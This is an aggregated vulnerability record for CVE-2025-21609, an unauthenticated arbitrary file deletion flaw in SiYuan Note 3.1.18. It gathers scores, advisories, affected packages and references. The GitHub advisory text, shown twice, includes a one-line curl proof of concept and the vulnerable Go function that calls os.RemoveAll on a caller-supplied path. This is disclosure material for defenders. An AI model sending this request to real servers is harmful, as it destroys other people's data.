CVE-2025-21609
SiYuan has an arbitrary file deletion vulnerability
SiYuan is self-hosted, open source personal knowledge management software. SiYuan Note version 3.1.18 has an arbitrary file deletion vulnerability. The vulnerability exists in the POST /api/history/getDocHistoryContent endpoint. An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server. Commit d9887aeec1b27073bec66299a9a4181dc42969f3 fixes this vulnerability and is expected to be available in version 3.1.19.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used 8.7
SiYuan has an arbitrary file deletion vulnerability
SiYuan is self-hosted, open source personal knowledge management software. SiYuan Note version 3.1.18 has an arbitrary file deletion vulnerability. The vulnerability exists in the POST /api/history/getDocHistoryContent endpoint. An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server. Commit d9887aeec1b27073bec66299a9a4181dc42969f3 fixes this vulnerability and is expected to be available in version 3.1.19.
- Record
CVE-2025-21609- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-459, CWE-552
- Updated
- 2026-11-02
EUVDEUVD-2025-0017 8.7
SiYuan is self-hosted, open source personal knowledge management software. SiYuan Note version 3.1.18 has an arbitrary file deletion vulnerability. The vulnerability exists in the POST /api/history/getDocHistoryContent endpoint. An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server. Commit d9887aeec1b27073bec66299a9a4181dc42969f3 fixes this vulnerability and is expected to be available in version 3.1.19.
- Record
EUVD-2025-0017- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-8fx8-pffw-w498 8.7
SiYuan has an arbitrary file deletion vulnerability
Summary
A arbitrary file deletion vulnerability has been identified in the latest version of Siyuan Note. The vulnerability exists in the POST /api/history/getDocHistoryContent endpoint.An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server.
Details
The vulnerability can be reproduced by sending a crafted request to the /api/history/getDocHistoryContent endpoint.
Sending a request to the /api/history/getDocHistoryContent like:
curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<abs_filepath_of_a_file>"}'
Replace <abs_filepath_of_a_file> with the absolute file path of the target file you wish to delete.
The historyPath parameter in the payload is processed by the func getDocHistoryContent in api/history.go:133.
In turn, historyPath is passed to the func GetDocHistoryContent located in model/history.go:150 , which is the slink of the vulnerability.
if historyPath exists and does not satisfy the filesys.ParseJSONWithoutFix, then it will be deleted by os.RemoveAll
func GetDocHistoryContent(historyPath, keyword string, highlight bool) (id, rootID, content string, isLargeDoc bool, err error) {
if !gulu.File.IsExist(historyPath) {
logging.LogWarnf("doc history [%s] not exist", historyPath)
return
}
data, err := filelock.ReadFile(historyPath)
if err != nil {
logging.LogErrorf("read file [%s] failed: %s", historyPath, err)
return
}
isLargeDoc = 1024*1024*1 <= len(data)
luteEngine := NewLute()
historyTree, err := filesys.ParseJSONWithoutFix(data, luteEngine.ParseOptions)
if err != nil {
logging.LogErrorf("parse tree from file [%s] failed, remove it", historyPath)
os.RemoveAll(historyPath)
return
}
...
}
PoC
curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<abs_filepath_of_a_file>"}'
Impact
arbitrary file deletion vulnerability
- Record
GHSA-8fx8-pffw-w498- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-459, CWE-552
- Updated
- 2026-11-02
NVD 8.7
SiYuan is self-hosted, open source personal knowledge management software. SiYuan Note version 3.1.18 has an arbitrary file deletion vulnerability. The vulnerability exists in the POST /api/history/getDocHistoryContent endpoint. An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server. Commit d9887aeec1b27073bec66299a9a4181dc42969f3 fixes this vulnerability and is expected to be available in version 3.1.19.
- Record
CVE-2025-21609- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - Weakness
- CWE-459, CWE-552
- Updated
- 2026-11-02
OSV 8.7
SiYuan has an arbitrary file deletion vulnerability
SiYuan is self-hosted, open source personal knowledge management software. SiYuan Note version 3.1.18 has an arbitrary file deletion vulnerability. The vulnerability exists in the POST /api/history/getDocHistoryContent endpoint. An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server. Commit d9887aeec1b27073bec66299a9a4181dc42969f3 fixes this vulnerability and is expected to be available in version 3.1.19.
- Record
CVE-2025-21609- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-459, CWE-552
- Updated
- 2026-11-02
OSVGHSA-8fx8-pffw-w498 8.7
SiYuan has an arbitrary file deletion vulnerability
Summary
A arbitrary file deletion vulnerability has been identified in the latest version of Siyuan Note. The vulnerability exists in the POST /api/history/getDocHistoryContent endpoint.An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server.
Details
The vulnerability can be reproduced by sending a crafted request to the /api/history/getDocHistoryContent endpoint.
Sending a request to the /api/history/getDocHistoryContent like:
curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<abs_filepath_of_a_file>"}'
Replace <abs_filepath_of_a_file> with the absolute file path of the target file you wish to delete.
The historyPath parameter in the payload is processed by the func getDocHistoryContent in api/history.go:133.
In turn, historyPath is passed to the func GetDocHistoryContent located in model/history.go:150 , which is the slink of the vulnerability.
if historyPath exists and does not satisfy the filesys.ParseJSONWithoutFix, then it will be deleted by os.RemoveAll
func GetDocHistoryContent(historyPath, keyword string, highlight bool) (id, rootID, content string, isLargeDoc bool, err error) {
if !gulu.File.IsExist(historyPath) {
logging.LogWarnf("doc history [%s] not exist", historyPath)
return
}
data, err := filelock.ReadFile(historyPath)
if err != nil {
logging.LogErrorf("read file [%s] failed: %s", historyPath, err)
return
}
isLargeDoc = 1024*1024*1 <= len(data)
luteEngine := NewLute()
historyTree, err := filesys.ParseJSONWithoutFix(data, luteEngine.ParseOptions)
if err != nil {
logging.LogErrorf("parse tree from file [%s] failed, remove it", historyPath)
os.RemoveAll(historyPath)
return
}
...
}
PoC
curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<abs_filepath_of_a_file>"}'
Impact
arbitrary file deletion vulnerability
- Record
GHSA-8fx8-pffw-w498- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-459, CWE-552
- Updated
- 2026-11-02
OSVGO-2025-3362No score
SiYuan has an arbitrary file deletion vulnerability in github.com/siyuan-note/siyuan/kernel
SiYuan has an arbitrary file deletion vulnerability in github.com/siyuan-note/siyuan/kernel
- Record
GO-2025-3362- Updated
- 2026-11-02
OSVopenSUSE-SU-2025:14624-1No score
govulncheck-vulndb-0.0.20250108T191942-1.1 on GA media
These are all security issues fixed in the govulncheck-vulndb-0.0.20250108T191942-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2025:14624-1- Updated
- 2026-11-02
OSVSUSE-SU-2025:0060-1No score
Security update for govulncheck-vulndb
This update for govulncheck-vulndb fixes the following issues:
Update to version 0.0.20250108T191942 2025-01-08T19:19:42Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2025-3371 GHSA-2r2v-9pf8-6342
- GO-2025-3374 CVE-2025-22130 GHSA-j4jw-m6xr-fv6c
Update to version 0.0.20250107T160406 2025-01-07T16:04:06Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2025-3363 GO-2025-3364 GO-2025-3367 GO-2025-3368
- GO-2024-3355 CVE-2024-54148 GHSA-r7j8-5h9c-f6fx
- GO-2024-3356 CVE-2024-55947 GHSA-qf5v-rp47-55gg
- GO-2024-3357 CVE-2024-56362 GHSA-xwx7-p63r-2rj8
- GO-2024-3358 CVE-2024-45387 GHSA-vq94-9pfv-ccqr
- GO-2024-3359 CVE-2024-28892 GHSA-5qww-56gc-f66c
- GO-2024-3360 CVE-2024-25133 GHSA-wgqq-9qh8-wvqv
- GO-2025-3361 CVE-2024-55196 GHSA-rv83-h68q-c4wq
- GO-2025-3362 CVE-2025-21609 GHSA-8fx8-pffw-w498
- GO-2025-3363 CVE-2024-56514 GHSA-cwrh-575j-8vr3
- GO-2025-3364 CVE-2024-56513 GHSA-mg7w-c9x2-xh7r
- GO-2025-3367 CVE-2025-21614 GHSA-r9px-m959-cxf4
- GO-2025-3368 CVE-2025-21613 GHSA-v725-9546-7q7m
Update to version 0.0.20241220T214820 2024-12-20T21:48:20Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2024-3101 GHSA-75qh-gg76-p2w4
- GO-2024-3339 GHSA-8wcc-m6j2-qxvm
Update to version 0.0.20241220T203729 2024-12-20T20:37:29Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2024-3101 GHSA-75qh-gg76-p2w4
- GO-2024-3109 CVE-2024-43803 GHSA-pqfh-xh7w-7h3p
- GO-2024-3333 CVE-2024-45338 GHSA-w32m-9786-jp63
- GO-2024-3342 GHSA-hxr6-2p24-hf98
- GO-2024-3343 CVE-2024-9779 GHSA-jhh6-6fhp-q2xp
- GO-2024-3344 GHSA-32gq-x56h-299c
- GO-2024-3349 CVE-2024-25131 GHSA-77c2-c35q-254w
- GO-2024-3350 GHSA-5pf6-cq2v-23ww
- GO-2024-3354 CVE-2024-12678 GHSA-hr68-hvgv-xxqf
- Record
SUSE-SU-2025:0060-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/siyuan-note/siyuan/kernelGo | before 0.0.0-20250103014808-d9887aeec1b2 | 0.0.0-20250103014808-d9887aeec1b2 |
github.com/siyuan-note/siyuan/kernelGo | All versions | None known |
govulncheck-vulndbSUSE:Linux Enterprise Module for Package Hub 15 SP6 From an advisory covering 18 CVEs | before 0.0.20250108T191942-150000.1.26.1 | 0.0.20250108T191942-150000.1.26.1 |
govulncheck-vulndbopenSUSE:Leap 15.6 From an advisory covering 18 CVEs | before 0.0.20250108T191942-150000.1.26.1 | 0.0.20250108T191942-150000.1.26.1 |
govulncheck-vulndbopenSUSE:Tumbleweed From an advisory covering 13 CVEs | before 0.0.20250108T191942-1.1 | 0.0.20250108T191942-1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| aliases | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-21609 is a high vulnerability (CVSS 8.7) in B3log Siyuan, published January 3, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.63%, the 50th percentile. Fixed in github.com/siyuan-note/siyuan/kernel 0.0.0-20250103014808-d9887aeec1b2.
References
github.com/siyuan-note/siyuan/security/advisories/GHSA-8fx8-pffw-w498
github.com/siyuan-note/siyuan/commit/d9887aeec1b27073bec66299a9a4181dc42969f3
nvd.nist.gov/vuln/detail/CVE-2025-21609
github.com/advisories/GHSA-8fx8-pffw-w498
github.com/CVEProject/cvelistV5/tree/main/cves/2025/21xxx/CVE-2025-21609.json
github.com/siyuan-note/siyuan
Show 20 moreShow less
suse.com/support/update/announcement/2025/suse-su-20250060-1
suse.com/security/cve/CVE-2024-12678
suse.com/security/cve/CVE-2024-25131
suse.com/security/cve/CVE-2024-25133
suse.com/security/cve/CVE-2024-28892
suse.com/security/cve/CVE-2024-43803
suse.com/security/cve/CVE-2024-45338
suse.com/security/cve/CVE-2024-45387
suse.com/security/cve/CVE-2024-54148
suse.com/security/cve/CVE-2024-55196
suse.com/security/cve/CVE-2024-55947
suse.com/security/cve/CVE-2024-56362
suse.com/security/cve/CVE-2024-56513
suse.com/security/cve/CVE-2024-56514
suse.com/security/cve/CVE-2024-9779
suse.com/security/cve/CVE-2025-21609
suse.com/security/cve/CVE-2025-21613
suse.com/security/cve/CVE-2025-21614
suse.com/security/cve/CVE-2025-22130
lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/UV63VQGB6Y3V7AIZHIKF3PMFVIHM32MI